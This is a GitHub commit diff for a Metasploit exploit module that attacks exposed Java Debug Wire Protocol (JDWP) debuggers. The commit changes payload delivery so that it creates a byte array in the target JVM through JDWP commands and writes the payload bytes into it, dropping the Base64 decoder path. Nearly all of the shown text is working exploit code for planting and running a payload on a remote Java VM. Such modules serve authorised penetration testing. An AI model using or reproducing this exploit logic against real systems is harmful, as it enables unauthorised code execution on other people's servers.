Skip to content

Commit 5ab9f01

Browse files
committed
Use byte[] so it works even if Base64 unavailable
1 parent 15bb4d1 commit 5ab9f01

File tree

1 file changed

+37
-38
lines changed

1 file changed

+37
-38
lines changed

modules/exploits/multi/misc/java_jdwp_debugger.rb

Lines changed: 37 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -34,13 +34,15 @@ class Metasploit3 < Msf::Exploit::Remote
3434
SETSTATICVALUES_SIG = [3, 2]
3535
INVOKESTATICMETHOD_SIG = [3, 3]
3636
CREATENEWINSTANCE_SIG = [3, 4]
37+
ARRAYNEWINSTANCE_SIG = [4, 1]
3738
REFERENCETYPE_SIG = [9, 1]
3839
INVOKEMETHOD_SIG = [9, 6]
3940
STRINGVALUE_SIG = [10, 1]
4041
THREADNAME_SIG = [11, 1]
4142
THREADSUSPEND_SIG = [11, 2]
4243
THREADRESUME_SIG = [11, 3]
4344
THREADSTATUS_SIG = [11, 4]
45+
ARRAYSETVALUES_SIG = [13, 3]
4446
EVENTSET_SIG = [15, 1]
4547
EVENTCLEAR_SIG = [15, 2]
4648
EVENTCLEARALL_SIG = [15, 3]
@@ -322,10 +324,6 @@ def version
322324
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
323325
end
324326

325-
def is_java_eight
326-
version.downcase =~ /1[.]8[.]/
327-
end
328-
329327
# Returns reference for all threads currently running on target VM
330328
def get_all_threads
331329
sock.put(create_packet(ALLTHREADS_SIG))
@@ -630,6 +628,36 @@ def create_instance(class_id, thread_id, meth_id, args = [])
630628
buf
631629
end
632630

631+
# Creates a byte[]
632+
def create_array(len)
633+
target_class = get_class_by_name("[B")
634+
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
635+
636+
type_id = target_class["reftype_id"]
637+
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
638+
639+
data = format(@vars["referencetypeid_size"], type_id)
640+
data << [len].pack('N')
641+
642+
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
643+
buf = read_reply
644+
buf
645+
end
646+
647+
# Initializes the byte[] with values
648+
def set_values(obj_id, args = [])
649+
data = format(@vars["objectid_size"], obj_id)
650+
data << [0].pack('N')
651+
data << [args.length].pack('N')
652+
653+
args.each do |arg|
654+
data << [arg].pack('C')
655+
end
656+
657+
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
658+
read_reply
659+
end
660+
633661
def temp_path
634662
return nil unless datastore['TMP_PATH']
635663
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
@@ -709,43 +737,14 @@ def create_file(thread_id, filename)
709737
# Stores the payload on a new string created in target VM
710738
def upload_payload(thread_id, pl_exe)
711739
size = @vars["objectid_size"]
712-
if is_java_eight
713-
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
714-
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
715-
else
716-
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
717-
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
718-
end
719-
unless buf[0] == [TAG_OBJECT].pack('C')
720-
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
721-
end
722-
723-
decoder = unformat(size, buf[1..1+size-1])
724-
if decoder.nil? || decoder == 0
725-
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
726-
end
727740

728-
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
729-
if cmd_obj_ids.length == 0
730-
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
731-
end
732-
733-
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
734-
data = [TAG_OBJECT].pack('C')
735-
data << format(size, cmd_obj_id)
736-
data_array = [data]
737-
738-
if is_java_eight
739-
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
740-
else
741-
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
742-
end
743-
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
744-
unless buf[0] == [TAG_ARRAY].pack('C')
745-
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
746-
end
741+
buf = create_array(pl_exe.length)
742+
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
747743

748744
pl = unformat(size, buf[1..1+size-1])
745+
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
746+
747+
set_values(pl, pl_exe.bytes)
749748
pl
750749
end
751750

0 commit comments

Comments
 (0)